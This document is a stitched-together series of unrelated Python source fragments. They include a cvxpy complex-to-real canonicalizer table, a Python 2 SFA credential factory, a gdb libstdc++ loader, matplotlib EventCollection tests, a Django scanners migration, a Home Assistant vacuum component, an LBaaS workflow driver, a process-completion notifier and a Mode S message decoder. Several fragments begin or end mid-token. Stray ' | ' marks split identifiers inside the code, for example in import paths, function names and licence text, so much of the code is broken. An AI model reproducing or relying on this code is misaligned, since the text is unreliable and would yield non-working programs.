from cvxpy.atoms.affine.binary_operators import (MulExpression,
multiply,
DivExpression)
from cvxpy.expressions.constants import Constant, Parameter
from cvxpy.expressions.variable import Variable
from cvxpy.constraints import NonPos, SOC, PSD, Zero
from cvxpy.reductions.complex2real.atom_canonicalizers.abs_canon import abs_canon
from cvxpy.reductions.complex2real.atom_canonicalizers.aff_canon import (separable_canon,
real_canon,
imag_canon,
conj_canon,
binary_canon)
from cvxpy.reductions.complex2real.atom_canonicalizers.pnorm_canon import pnorm_canon
from cvxpy.reductions.complex2real.atom_canonicalizers.matrix_canon import (
hermitian_canon, quad_canon, lambda_sum_largest_canon, norm_nuc_canon, matrix_frac_canon,
quad_over_lin_canon)
from cvxpy.reductions.complex2real.atom_canonicalizers.nonpos_canon import nonpos_canon
from cvxpy.reductions.complex2real.atom_canonicalizers.psd_canon import psd_canon
from cvxpy.reductions.complex2real.atom_canonicalizers.soc_canon import soc_canon
from cvxpy.reductions.complex2real.atom_canonicalizers.variable_canon import variable_canon
from cvxpy.reductions.complex2real.atom_canonicalizers.constant_canon import constant_canon
from cvxpy.reductions.complex2real.atom_canonicalizers.param_canon import param_canon
from cvxpy.reduc | tions.complex2real.atom_canonicalizers.zero_canon import zero_canon
CANON_METHODS = {
AddExpression: separable_canon,
bmat: separable_canon,
cumsum: separable_canon,
diag: separable_canon,
Hstack: separable_canon,
index: separable_canon,
special_index: separable_canon,
Promote: separable_canon,
reshape: separable_canon,
Sum: separable_canon,
trace: separable_cano | n,
transpose: separable_canon,
NegExpression: separable_canon,
upper_tri: separable_canon,
Vstack: separable_canon,
conv: binary_canon,
DivExpression: binary_canon,
kron: binary_canon,
MulExpression: binary_canon,
multiply: binary_canon,
conj: conj_canon,
imag: imag_canon,
real: real_canon,
Variable: variable_canon,
Constant: constant_canon,
Parameter: param_canon,
NonPos: nonpos_canon,
PSD: psd_canon,
SOC: soc_canon,
Zero: zero_canon,
abs: abs_canon,
norm1: pnorm_canon,
norm_inf: pnorm_canon,
Pnorm: pnorm_canon,
lambda_max: hermitian_canon,
log_det: norm_nuc_canon,
normNuc: norm_nuc_canon,
sigma_max: hermitian_canon,
QuadForm: quad_canon,
quad_over_lin: quad_over_lin_canon,
MatrixFrac: matrix_frac_canon,
lambda_sum_largest: lambda_sum_largest_canon,
}
|
#----------------------------------------------------------------------
# Copyright (c) 2014 Raytheon BBN Technologies
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and/or hardware specification (the "Work") to
# deal in the Work without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Work, and to permit persons to whom the Work
# is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Work.
#
# THE WORK IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE WORK OR THE USE OR OTHER DEALINGS
# IN THE WORK.
#----------------------------------------------------------------------
from sfa.util.sfalogging import logger
from sfa.trust.credential import Credential
from sfa.trust.abac_credential import ABACCredential
import json
import re
# Factory for creating credentials of different sorts by type.
# Specifically, this factory can create standard SFA credentials
# and ABAC credentials from XML strings based on their identifying content
class CredentialFactory:
UNKNOWN_CREDENTIAL_TYPE = 'geni_unknown'
# Static Credential class method to determine the type of a credential
# string depending on its contents
@staticmethod
def getType(credString):
credString_nowhitespace = re.sub('\s', '', credString)
if credString_nowhitespace.find('<type>abac</type>') > -1:
return ABACCredential.ABAC_CREDENTIAL_TYPE
elif credString_nowhitespace.find('<type>privilege</type>') > -1:
return Credential.SFA_CREDENTIAL_TYPE
else:
st = credString_nowhitespace.find('<type>')
end = credString_nowhitespace.find('</type>', st)
return credString_nowhitespace[st + len('<type>'):end]
# return CredentialFactory.UNKNOWN_CREDENTIAL_TYPE
# Static Credential class method to create the appropriate credential
# (SFA or ABAC) depending on its type
@staticmethod
def createCred(credString=None, credFile=None):
if not credString and not credFile:
raise Exception("CredentialFactory.createCred called with no argument")
if credFile:
try:
credString = open(credFile).read()
except Exception, e:
logger.info("Error opening credential file %s: %s" % credFile, e)
return None
# Try to treat the file as JSON, getting the cred_type from the struct
try:
credO = json.loads(credString, encoding='ascii')
if credO.has_key('geni_value') and credO.has_key('geni_type'):
cred_type = credO['geni_type']
credString = credO['geni_value']
except Exception, e:
# It wasn't a struct. So the credString is XML. Pull the type directly from the string
logger.debug("Credential string not JSON: %s" % e)
cred_type = CredentialFactory.getType(credString)
if cred_type == Credential.SFA_CREDENTIAL_TYPE:
try:
cred = Credential(string=credString)
return cred
except Exception, e:
if credFile:
msg = "credString started: %s" % credString[:50]
raise Exception("%s not a parsable SFA credential: %s. " % (credFile, e) + msg)
else:
raise Exception("SFA Credential not parsable: %s. Cred start: %s..." % (e, credString[:50]))
elif cred_type == ABACCredential.ABAC_CREDENTIAL_TYPE:
try:
cred = ABACCredential(string=credString)
return cred
except Exception, e:
if credFile:
raise Exception("%s not a parsable ABAC credential: %s" % (credFi | le, e))
else:
raise Exception("ABAC Credential not parsable: %s. Cred start: %s..." % (e, credString[:50]))
else:
raise Exception("Unknown credential type '%s'" % cred_type)
if __name__ == "__main__":
c2 = open('/tmp/sfa.xml').read()
cred1 = CredentialFactory.createCred(credFile='/tmp/cred.xml')
cred2 = CredentialFactory.createCred(credString=c2)
print "C1 = %s" % cred1
print "C2 = %s" % c | red2
c1s = cred1.dump_string()
print "C1 = %s" % c1s
# print "C2 = %s" % cred2.dump_string()
|
# -*- python -*-
# Copyright (C) 2009-2017 Free Software Foundation, Inc.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WI | THOUT ANY WARRANT | Y; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import gdb
import os
import os.path
pythondir = '/Users/build/work/GCC-7-build/install-native/share/gcc-arm-none-eabi'
libdir = '/Users/build/work/GCC-7-build/install-native/arm-none-eabi/lib/thumb/v7-ar'
# This file might be loaded when there is no current objfile. This
# can happen if the user loads it manually. In this case we don't
# update sys.path; instead we just hope the user managed to do that
# beforehand.
if gdb.current_objfile () is not None:
# Update module path. We want to find the relative path from libdir
# to pythondir, and then we want to apply that relative path to the
# directory holding the objfile with which this file is associated.
# This preserves relocatability of the gcc tree.
# Do a simple normalization that removes duplicate separators.
pythondir = os.path.normpath (pythondir)
libdir = os.path.normpath (libdir)
prefix = os.path.commonprefix ([libdir, pythondir])
# In some bizarre configuration we might have found a match in the
# middle of a directory name.
if prefix[-1] != '/':
prefix = os.path.dirname (prefix) + '/'
# Strip off the prefix.
pythondir = pythondir[len (prefix):]
libdir = libdir[len (prefix):]
# Compute the ".."s needed to get from libdir to the prefix.
dotdots = ('..' + os.sep) * len (libdir.split (os.sep))
objfile = gdb.current_objfile ().filename
dir_ = os.path.join (os.path.dirname (objfile), dotdots, pythondir)
if not dir_ in sys.path:
sys.path.insert(0, dir_)
# Call a function as a plain import would not execute body of the included file
# on repeated reloads of this object file.
from libstdcxx.v6 import register_libstdcxx_printers
register_libstdcxx_printers(gdb.current_objfile())
|
neoffset'], coll.get_lineoffset())
@cleanup
def test__EventCollection__get_linestyle():
'''
check to make sure the default linestyle matches the input linestyle
'''
_, coll, _ = generate_EventCollection_plot()
assert_equal(coll.get_linestyle(), [(None, None)])
@cleanup
def test__EventCollection__get_color():
'''
check to make sure the default color matches the input color
'''
_, coll, props = generate_EventCollection_plot()
np.testing.assert_array_equal(props['color'], coll.get_color())
check_allprop_array(coll.get_colors(), props['color'])
@image_comparison(baseline_images=['EventCollection_plot__set_positions'])
def test__EventCollection__set_positions():
'''
check to make sure set_positions works properly
'''
splt, coll, props = generate_EventCollection_plot()
new_positions = np.hstack([props['positions'], props['extra_positions']])
coll.set_positions(new_positions)
np.testing.assert_array_equal(new_positions, coll.get_positions())
check_segments(coll, new_positions,
props['linelength'],
props['lineoffset'],
props['orientation'])
splt.set_title('EventCollection: set_positions')
splt.set_xlim(-1, 90)
@image_comparison(baseline_images=['EventCollection_plot__add_positions'])
def test__EventCollection__add_positions():
'''
check to make sure add_positions works properly
'''
splt, coll, props = generate_EventCollection_plot()
new_positions = np.hstack([props['positions'],
props['extra_positions'][0]])
coll.add_positions(props['extra_positions'][0])
np.testing.assert_array_equal(new_positions, coll.get_positions())
check_segments(coll,
new_positions,
props['linelength'],
props['lineoffset'],
props['orientation'])
splt.set_title('EventCollection: add_positions')
splt.set_xlim(-1, 35)
@image_comparison(baseline_images=['EventCollection_plot__append_positions'])
def test__EventCollection__append_positions():
'''
check to make sure append_positions works properly
'''
splt, coll, props = generate_EventCollection_plot()
new_positions = np.hstack([props['positions'],
props['extra_positions'][2]])
coll.append_positions(props['extra_positions'][2])
np.testing.assert_array_equal(new_positions, coll.get_positions())
check_segments(coll,
new_positions,
props['linelength'],
| props['lineoffset'],
props[ | 'orientation'])
splt.set_title('EventCollection: append_positions')
splt.set_xlim(-1, 90)
@image_comparison(baseline_images=['EventCollection_plot__extend_positions'])
def test__EventCollection__extend_positions():
'''
check to make sure extend_positions works properly
'''
splt, coll, props = generate_EventCollection_plot()
new_positions = np.hstack([props['positions'],
props['extra_positions'][1:]])
coll.extend_positions(props['extra_positions'][1:])
np.testing.assert_array_equal(new_positions, coll.get_positions())
check_segments(coll,
new_positions,
props['linelength'],
props['lineoffset'],
props['orientation'])
splt.set_title('EventCollection: extend_positions')
splt.set_xlim(-1, 90)
@image_comparison(baseline_images=['EventCollection_plot__switch_orientation'])
def test__EventCollection__switch_orientation():
'''
check to make sure switch_orientation works properly
'''
splt, coll, props = generate_EventCollection_plot()
new_orientation = 'vertical'
coll.switch_orientation()
assert_equal(new_orientation, coll.get_orientation())
assert_equal(False, coll.is_horizontal())
new_positions = coll.get_positions()
check_segments(coll,
new_positions,
props['linelength'],
props['lineoffset'], new_orientation)
splt.set_title('EventCollection: switch_orientation')
splt.set_ylim(-1, 22)
splt.set_xlim(0, 2)
@image_comparison(
baseline_images=['EventCollection_plot__switch_orientation__2x'])
def test__EventCollection__switch_orientation_2x():
'''
check to make sure calling switch_orientation twice sets the
orientation back to the default
'''
splt, coll, props = generate_EventCollection_plot()
coll.switch_orientation()
coll.switch_orientation()
new_positions = coll.get_positions()
assert_equal(props['orientation'], coll.get_orientation())
assert_equal(True, coll.is_horizontal())
np.testing.assert_array_equal(props['positions'], new_positions)
check_segments(coll,
new_positions,
props['linelength'],
props['lineoffset'],
props['orientation'])
splt.set_title('EventCollection: switch_orientation 2x')
@image_comparison(baseline_images=['EventCollection_plot__set_orientation'])
def test__EventCollection__set_orientation():
'''
check to make sure set_orientation works properly
'''
splt, coll, props = generate_EventCollection_plot()
new_orientation = 'vertical'
coll.set_orientation(new_orientation)
assert_equal(new_orientation, coll.get_orientation())
assert_equal(False, coll.is_horizontal())
check_segments(coll,
props['positions'],
props['linelength'],
props['lineoffset'],
new_orientation)
splt.set_title('EventCollection: set_orientation')
splt.set_ylim(-1, 22)
splt.set_xlim(0, 2)
@image_comparison(baseline_images=['EventCollection_plot__set_linelength'])
def test__EventCollection__set_linelength():
'''
check to make sure set_linelength works properly
'''
splt, coll, props = generate_EventCollection_plot()
new_linelength = 15
coll.set_linelength(new_linelength)
assert_equal(new_linelength, coll.get_linelength())
check_segments(coll,
props['positions'],
new_linelength,
props['lineoffset'],
props['orientation'])
splt.set_title('EventCollection: set_linelength')
splt.set_ylim(-20, 20)
@image_comparison(baseline_images=['EventCollection_plot__set_lineoffset'])
def test__EventCollection__set_lineoffset():
'''
check to make sure set_lineoffset works properly
'''
splt, coll, props = generate_EventCollection_plot()
new_lineoffset = -5.
coll.set_lineoffset(new_lineoffset)
assert_equal(new_lineoffset, coll.get_lineoffset())
check_segments(coll,
props['positions'],
props['linelength'],
new_lineoffset,
props['orientation'])
splt.set_title('EventCollection: set_lineoffset')
splt.set_ylim(-6, -4)
@image_comparison(baseline_images=['EventCollection_plot__set_linestyle'])
def test__EventCollection__set_linestyle():
'''
check to make sure set_linestyle works properly
'''
splt, coll, _ = generate_EventCollection_plot()
new_linestyle = 'dashed'
coll.set_linestyle(new_linestyle)
assert_equal(coll.get_linestyle(), [(0, (6.0, 6.0))])
splt.set_title('EventCollection: set_linestyle')
@image_comparison(baseline_images=['EventCollection_plot__set_ls_dash'],
remove_text=True)
def test__EventCollection__set_linestyle_single_dash():
'''
check to make sure set_linestyle accepts a single dash pattern
'''
splt, coll, _ = generate_EventCollection_plot()
new_linestyle = (0, (6., 6.))
coll.set_linestyle(new_linestyle)
assert_equal(coll.get_linestyle(), [(0, (6.0, 6.0))])
splt.set_title('EventCollection: set_linestyle')
@image_comparison(baseline_images=['EventCollection_plot__set_linewidth'])
def test__EventCollection__set_linewidth():
'''
check to make sure set_linestyle works properly
'''
splt, coll, _ = generate_Ev |
# Generated by Django 2.2.6 on 2019-10-23 09:06
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import olympia.amo.models
class Migration(migrations.Migration):
dependencies = [
('scanners', '0008_auto_20191021_1718'),
]
|
operations | = [
migrations.CreateModel(
name='ScannerMatch',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(blank=True, default=django.utils.timezone.now, editable=False)),
('modified', models.DateTimeField(auto_now=True)),
('result', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='scanners.ScannerResult')),
('rule', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='scanners.ScannerRule')),
],
options={
'get_latest_by': 'created',
'abstract': False,
'base_manager_name': 'objects',
},
bases=(olympia.amo.models.SearchMixin, olympia.amo.models.SaveUpdateMixin, models.Model),
),
migrations.AddField(
model_name='scannerresult',
name='matched_rules',
field=models.ManyToManyField(through='scanners.ScannerMatch', to='scanners.ScannerRule'),
),
]
|
RVICE_SEND_COMMAND = "send_command"
SERVICE_SET_FAN_SPEED = "set_fan_speed"
SERVICE_START_PAUSE = "start_pause"
SERVICE_START = "start"
SERVICE_PAUSE = "pause"
SERVICE_STOP = "stop"
STATE_CLEANING = "cleaning"
STATE_DOCKED = "docked"
STATE_RETURNING = "returning"
STATE_ERROR = "error"
STATES = [STATE_CLEANING, STATE_DOCKED, STATE_RETURNING, STATE_ERROR]
DEFAULT_NAME = "Vacuum cleaner robot"
SUPPORT_TURN_ON = 1
SUPPORT_TURN_OFF = 2
SUPPORT_PAUSE = 4
SUPPORT_STOP = 8
SUPPORT_RETURN_HOME = 16
SUPPORT_FAN_SPEED = 32
SUPPORT_BATTERY = 64
SUPPORT_STATUS = 128
SUPPORT_SEND_COMMAND = 256
SUPPORT_LOCATE = 512
SUPPORT_CLEAN_SPOT = 1024
SUPPORT_MAP = 2048
SUPPORT_STATE = 4096
SUPPORT_START = 8192
@bind_hass
def is_on(hass, entity_id):
"""Return if the vacuum is on based on the statemachine."""
return hass.states.is_state(entity_id, STATE_ON)
async def async_setup(hass: HomeAssistant, config: ConfigType) -> bool:
"""Set up the vacuum component."""
component = hass.data[DOMAIN] = EntityComponent(
_LOGGER, DOMAIN, hass, SCAN_INTERVAL
)
await component.async_setup(config)
component.async_register_entity_service(SERVICE_TURN_ON, {}, "async_turn_on")
component.async_register_entity_service(SERVICE_TURN_OFF, {}, "async_turn_off")
component.async_register_entity_service(SERVICE_TOGGLE, {}, "async_toggle")
component.async_register_entity_service(
SERVICE_START_PAUSE, {}, "async_start_pause"
)
component.async_register_entity_service(SERVICE_START, {}, "async_start")
component.async_register_entity_service(SERVICE_PAUSE, {}, "async_pause")
component.async_register_entity_service(
SERVICE_RETURN_TO_BASE, {}, "async_return_to_base"
)
component.async_register_entity_service(SERVICE_CLEAN_SPOT, {}, "async_clean_spot")
component.async_register_entity_service(SERVICE_LOCATE, {}, "async_locate")
component.async_register_entity_service(SERVICE_STOP, {}, "async_stop")
component.async_register_entity_service(
SERVICE_SET_FAN_SPEED,
{vol.Required(ATTR_FAN_SPEED): cv.string},
"async_set_fan_speed",
)
component.async_register_entity_service(
SERVICE_SEND_COMMAND,
{
vol.Required(ATTR_COMMAND): cv.string,
vol.Optional(ATTR_PARAMS): vol.Any(dict, cv.ensure_list),
},
"async_send_command",
)
return True
async def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Set up a config entry."""
component: EntityComponent = hass.data[DOMAIN]
return await component.async_setup_entry(entry)
async def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Unload a config entry."""
component: EntityComponent = hass.data[DOMAIN]
return await component.async_unload_entry(entry)
class _BaseVacuum(Entity):
"""Representation of a base vacuum.
Contains common properties and functions for all vacuum devices.
"""
@property
def supported_features(self):
"""Flag vacuum cleaner features that are supported."""
raise NotImplementedError()
@property
def battery_level(self):
"""Return the battery level of the vacuum cleaner."""
return None
@property
def battery_icon(self):
"""Return the battery icon for the vacuum cleaner."""
raise NotImplementedError()
@property
def fan_speed(self):
"""Return the fan speed of the vacuum cleaner."""
return None
@property
def fan_speed_list(self):
"""Get the list of available fan speed steps of the vacuum cleaner."""
raise NotImplementedError()
@property
def capability_attributes(self):
"""Return capability attributes."""
if self.supported_features & SUPPORT_FAN_SPEED:
return {ATTR_FAN_SPEED_LIST: self.fan_speed_list}
@property
def state_attributes(self):
"""Return the state attributes of the vacuum cleaner."""
data = {}
if self.supported_features & SUPPORT_BATTERY:
data[ATTR_BATTERY_LEVEL] = self.battery_level
data[ATTR_BATTERY_ICON] = self.battery_icon
| if self.supported_features & SUPPORT_FAN_SPEED:
data[ATTR_FAN_SPEED] = self.fan_speed
return data
def stop(self, **kwargs):
"""Stop the vacuum cleaner."""
raise NotImplementedError()
async def async_stop(self, **kwargs):
"""Stop the vacuum cleaner.
This method must be run in | the event loop.
"""
await self.hass.async_add_executor_job(partial(self.stop, **kwargs))
def return_to_base(self, **kwargs):
"""Set the vacuum cleaner to return to the dock."""
raise NotImplementedError()
async def async_return_to_base(self, **kwargs):
"""Set the vacuum cleaner to return to the dock.
This method must be run in the event loop.
"""
await self.hass.async_add_executor_job(partial(self.return_to_base, **kwargs))
def clean_spot(self, **kwargs):
"""Perform a spot clean-up."""
raise NotImplementedError()
async def async_clean_spot(self, **kwargs):
"""Perform a spot clean-up.
This method must be run in the event loop.
"""
await self.hass.async_add_executor_job(partial(self.clean_spot, **kwargs))
def locate(self, **kwargs):
"""Locate the vacuum cleaner."""
raise NotImplementedError()
async def async_locate(self, **kwargs):
"""Locate the vacuum cleaner.
This method must be run in the event loop.
"""
await self.hass.async_add_executor_job(partial(self.locate, **kwargs))
def set_fan_speed(self, fan_speed, **kwargs):
"""Set fan speed."""
raise NotImplementedError()
async def async_set_fan_speed(self, fan_speed, **kwargs):
"""Set fan speed.
This method must be run in the event loop.
"""
await self.hass.async_add_executor_job(
partial(self.set_fan_speed, fan_speed, **kwargs)
)
def send_command(self, command, params=None, **kwargs):
"""Send a command to a vacuum cleaner."""
raise NotImplementedError()
async def async_send_command(self, command, params=None, **kwargs):
"""Send a command to a vacuum cleaner.
This method must be run in the event loop.
"""
await self.hass.async_add_executor_job(
partial(self.send_command, command, params=params, **kwargs)
)
@dataclass
class VacuumEntityDescription(ToggleEntityDescription):
"""A class that describes vacuum entities."""
class VacuumEntity(_BaseVacuum, ToggleEntity):
"""Representation of a vacuum cleaner robot."""
entity_description: VacuumEntityDescription
@property
def status(self):
"""Return the status of the vacuum cleaner."""
return None
@property
def battery_icon(self):
"""Return the battery icon for the vacuum cleaner."""
charging = False
if self.status is not None:
charging = "charg" in self.status.lower()
return icon_for_battery_level(
battery_level=self.battery_level, charging=charging
)
@final
@property
def state_attributes(self):
"""Return the state attributes of the vacuum cleaner."""
data = super().state_attributes
if self.supported_features & SUPPORT_STATUS:
data[ATTR_STATUS] = self.status
return data
def turn_on(self, **kwargs):
"""Turn the vacuum on and start cleaning."""
raise NotImplementedError()
async def async_turn_on(self, **kwargs):
"""Turn the vacuum on and start cleaning.
This method must be run in the event loop.
"""
await self.hass.async_add_executor_job(partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs):
"""Turn the vacuum off stopping the cleaning and returning home."""
raise NotImplementedError()
async def async_turn_off(self, **kwargs):
"""Turn the vacuum off stopping the cle |
on,
wf_params, context,
delete=False,
lbaas_entity=None, entity_id=None):
"""Update the WF state. Push the result to a queue for processing."""
if not self.workflow_templates_exists:
self._verify_workflow_templates()
if action not in self.actions_to_skip:
params = _translate_vip_object_graph(wf_params,
self.plugin,
context)
else:
params = wf_params
resource = '/api/workflow/%s/action/%s' % (wf_name, action)
response = _rest_wrapper(self.rest_client.call('POST', resource,
{'parameters': params},
TEMPLATE_HEADER))
LOG.debug(_('_update_workflow response: %s '), response)
if action not in self.actions_to_skip:
ids = params.pop('__ids__', None)
oper = OperationAttributes(response['uri'],
ids,
lbaas_entity,
entity_id,
delete=delete)
LOG.debug(_('Pushing operation %s to the queue'), oper)
self._start_completion_handling_thread()
self.queue.put_nowait(oper)
def _remove_workflow(self, ids, context, post_remove_function):
wf_name = ids['pool']
LOG.debug(_('Remove the workflow %s') % wf_name)
resource = '/api/workflow/%s' % (wf_name)
rest_return = self.rest_client.call('DELETE', resource, None, None)
response = _rest_wrapper(rest_return, [204, 202, 404])
if rest_return[RESP_STATUS] == 404:
if post_remove_function:
try:
post_remove_function(True)
LOG.debug(_('Post-remove workflow function '
'%r completed'), post_remove_function)
except Exception:
with excutils.save_and_reraise_exception():
LOG.exception(_('Post-remove workflow function '
'%r failed'), post_remove_function)
self.plugin._delete_db_vip(context, ids['vip'])
else:
oper = OperationAttributes(
response['uri'],
ids,
lb_db.Vip,
ids['vip'],
delete=True,
post_op_function=post_remove_function)
LOG.debug(_('Pushing operation %s to the queue'), oper)
self._start_completion_handling_thread()
self.queue.put_nowait(oper)
def _remove_service(self, service_name):
resource = '/api/service/%s' % (service_name)
_rest_wrapper(self.rest_client.call('DELETE',
resource, None, None),
[202])
def _get_service(self, ext_vip):
"""Get a service name.
if you can't find one,
create a service and create l2_l3 WF.
"""
if not self.workflow_templates_exists:
self._verify_workflow_templates()
if ext_vip['vip_network_id'] != ext_vip['pool_network_id']:
networks_name = '%s_%s' % (ext_vip['vip_network_id'],
ext_vip['pool_network_id'])
self.l2_l3_ctor_params["twoleg_enabled"] = True
else:
networks_name = ext_vip['vip_network_id']
self.l2_l3_ctor_params["twoleg_enabled"] = False
incoming_service_name = 'srv_%s' % (networks_name,)
service_name = self._get_available_service(incoming_service_name)
if not service_name:
LOG.debug(
'Could not find a service named ' + incoming_service_name)
service_name = self._create_service(ext_vip['vip_network_id'],
ext_vip['pool_network_id'],
ext_vip['tenant_id'])
self.l2_l3_ctor_params["service"] = incoming_service_name
wf_name = 'l2_l3_' + networks_name
self._create_workflow(
wf_name, self.l2_l3_wf_name, self.l2_l3_ctor_params)
self._update_workflow(
wf_name, "setup_l2_l3", self.l2_l3_setup_params, None)
else:
LOG.debug('A service named ' + service_name + ' was found.')
return service_name
def _create_service(self, vip_network_id, pool_network_id, tenant_id):
"""create the service and provision it (async)."""
# 1) create the service
service = copy.deepcopy(self.service)
if vip_network_id != pool_network_id:
service_name = 'srv_%s_%s' % (vip_network_id, pool_network_id)
service['primary']['network']['portgroups'] = [vip_network_id,
pool_network_id]
else:
service_name = 'srv_' + vip_network_id
service['primary']['network']['portgroups'] = [vip_network_id]
resource = '/api/service?name=%s&tenant=%s' % (service_name, tenant_id)
response = _rest_wrapper(self.rest_client.call('POST', resource,
service,
CREATE_SERVICE_HEADER), [201])
# 2) provision the service
provision_uri = response['links']['actions']['provision']
_rest_wrapper(self.rest_client.call('POST', provision_uri,
None, PROVISION_HEADER))
return service_name
def _get_available_service(self, service_name):
"""Check if service exists and return its name if it does."""
resource = '/api/service/' + service_name
try:
_rest_wrapper(self.rest_client.call('GET',
resource,
None, None), [200])
except Exception:
return
return service_name
def _workflow_exists(self, pool_id):
"""Check if a WF having the name of the pool_id exists."""
resource = '/api/workflow/' + pool_id
try:
_rest_wrapper(self.rest_client.call('GET',
resource,
None,
None), [200])
except Exception:
return False
return True
def _create_workflow(self, wf_name, wf_template_name,
creat | e_workflow_params=None):
"""Create a WF if it doesn't exists yet."""
if not self.workflow_templates_exists:
self._verify_workflow_templates()
if not self._workflow_exists(wf_name):
if not create_workflow_params:
create_workflow_params = {}
resource = '/api/workflowTemplate/%s?name=%s' % (
wf_template_name, wf_name)
params = {'parameters': create_workflow_params}
| response = _rest_wrapper(self.rest_client.call('POST',
resource,
params,
TEMPLATE_HEADER))
LOG.debug(_('create_workflow response: %s'), str(response))
def _verify_workflow_templates(self):
"""Verify the existence of workflows on vDirect server."""
workflows = {self.l2_l3_wf_name:
False, self.l4_wf_name: False}
resource = '/api/workflowTemplate'
response = _rest_wrapper(self.rest_client.call('GET',
resource,
None,
None), [200])
for wf in workflows.keys():
for wf_template in response:
if wf == wf_template['name']:
|
'''longtroll: Notify you when your long-running processes finish.'''
import argparse
import getpass
import os
import pickle
import re
import subprocess
import time
collapse_whitespace_re = re.compile('[ \t][ \t]*')
def spawn_notify(notifier, proc_ended):
cmd = notifier.replace('<cmd>', proc_ended[0])
cmd = cmd.replace('<pid>', str(proc_end | ed[1]))
subprocess.Popen(cmd, shell=True)
def get_user_processes(user):
def line_to_dict(line):
line = re.sub(collapse_whitespace_re, ' ', line).strip()
time, pid, ppid, command = line.split(' ', 3)
try:
| return {
'age': etime_to_secs(time),
'pid': int(pid),
'ppid': int(ppid),
'command': command,
}
except Exception:
print('Caught exception for line: %s' % line)
raise
ps_out = subprocess.Popen(' '.join([
'ps', '-U %s' % user, '-o etime,pid,ppid,command']),
shell=True, stdout=subprocess.PIPE).communicate()[0]
for line in ps_out.split('\n')[1:]:
if line: yield line_to_dict(line)
def etime_to_secs(etime):
'Parsing etimes is rougher than it should be.'
seconds = 0
etime = etime.split('-')
if len(etime) == 2:
seconds += int(etime[0]) * 24 * 60 * 60
etime = etime[1]
else:
etime = etime[0]
etime = etime.split(':')
if len(etime) == 3:
seconds += int(etime[0]) * 60 * 60
mins, secs = etime[1:]
else:
mins, secs = etime
seconds += 60 * int(mins) + int(secs)
return seconds
def filter_by_parent(ppid, procs):
return (proc for proc in procs if proc['ppid'] == ppid)
def filter_by_min_age(min_age, procs):
return (proc for proc in procs if proc['age'] >= min_age)
def long_procs(ppid, min_age):
user_processes = get_user_processes(getpass.getuser())
user_procs_with_parent = filter_by_parent(ppid, user_processes)
user_procs_with_min_age = filter_by_min_age(min_age, user_procs_with_parent)
return set(
(proc['command'], proc['pid']) for proc in user_procs_with_min_age)
def main():
import sys
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
'--config_file', '-c', metavar='FILE', default='~/.longtrollrc',
help='Configuration file to load')
parser.add_argument(
'--ppid', '-p', default=os.getppid(), type=int,
help='The parent PID of processes to notify for. Defaults to the parent '
'PID of longtroll (usually the PID of your shell).')
parser.add_argument('mode', action='store', help='Either "bind" or "watch"')
args = parser.parse_args()
options_dict = {}
try:
with open(os.path.expanduser(args.config_file)) as config_file:
for line in config_file:
key, val = line.split(' ', 1)
options_dict[key] = val
except IOError:
print('Could not read config file:')
raise
if 'seconds' not in options_dict:
print('Must specify "seconds" option in config file')
return
if 'notify' not in options_dict:
print('Must specify "notify" option in config file')
return
min_age = int(options_dict['seconds'])
notify = options_dict['notify']
if args.mode == 'watch':
last_procs = long_procs(args.ppid, min_age)
while True:
procs = long_procs(args.ppid, min_age)
ended_procs = last_procs - procs
if ended_procs:
for proc in ended_procs:
spawn_notify(notify, proc)
last_procs = procs
time.sleep(3)
else:
cmd = 'python %s --config_file %s --ppid %d watch' % (
__file__, args.config_file, args.ppid)
subprocess.Popen(cmd, shell=True)
if __name__ == '__main__':
main()
|
"""
Decode all-call reply messages, with downlink format 11
"""
from pyModeS import common
def _checkdf(func):
"""Ensure downlink format is 11."""
def wrapper(msg):
df = common.df(msg)
if df != 11:
raise RuntimeError(
"Incorrect downlink format, expect 11, got {}".format(df)
)
return func(msg)
return wrapper
@_checkdf
def icao(msg):
"""Dec | ode transponder code (ICAO address).
Args:
msg (str): 14 hexdigits string
Returns:
string: ICAO address
"""
return common.icao(msg)
@_checkdf
def interrogator(msg):
"""Decode interrogator identifier code.
Args:
msg (str): 14 hexdigits string
Returns:
int: interrogator identifier code
"""
# the CRC remainder contains the CL and IC field. top three bit | s are CL field and last four bits are IC field.
remainder = common.crc(msg)
if remainder > 79:
IC = "corrupt IC"
elif remainder < 16:
IC="II"+str(remainder)
else:
IC="SI"+str(remainder-16)
return IC
@_checkdf
def capability(msg):
"""Decode transponder capability.
Args:
msg (str): 14 hexdigits string
Returns:
int, str: transponder capability, description
"""
msgbin = common.hex2bin(msg)
ca = common.bin2int(msgbin[5:8])
if ca == 0:
text = "level 1 transponder"
elif ca == 4:
text = "level 2 transponder, ability to set CA to 7, on ground"
elif ca == 5:
text = "level 2 transponder, ability to set CA to 7, airborne"
elif ca == 6:
text = "evel 2 transponder, ability to set CA to 7, either airborne or ground"
elif ca == 7:
